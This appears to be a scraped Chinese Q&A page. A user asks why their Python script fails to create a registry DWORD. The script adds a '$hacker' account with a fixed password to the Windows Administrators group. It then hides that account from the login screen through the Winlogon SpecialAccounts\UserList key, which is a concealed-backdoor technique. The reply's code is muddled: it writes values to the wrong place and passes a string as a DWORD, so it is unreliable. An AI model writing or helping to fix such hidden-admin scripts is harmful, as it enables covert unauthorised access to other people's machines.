微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

使用Python创建新的DWORD

如何解决使用Python创建新的DWORD

大家好,我想教自己比我的大学更多的python,并且我试图将python文件创建为一次创建的bash文件ive。 该bash文件应该在名为$ hacker的“网络用户”上打开一个新用户,然后将其隐藏在Registory中。 尝试工作正常,当我完成所有操作时都得到了我询问的所有打印信息,但由于某种原因未创建DWORD(也有两个键) 希望有人知道我在做什么错!

import os 
import sys 
import winreg as w

os.system("net users $hacker Aa123456 /add")
os.system("net groups Administrators $hacker /add")

try:
    key = w.CreateKey(w.HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    print("/SpecialAccount/UserList Was succesfully created !")
    w.SetValueEx(key,'$hacker',w.REG_DWORD,0)
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit()

解决方法

尝试以下

import winreg as wreg

try:
    key = wreg.CreateKey(wreg.HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    wreg.SetValue(key,'NewSubkey',wreg.REG_SZ,'LocalAccountTokenFilterPolicy')
    wreg.SetValueEx(key,'ValueName',wreg.REG_DWORD,'0x00000001')
    key.Close()
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit() 

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。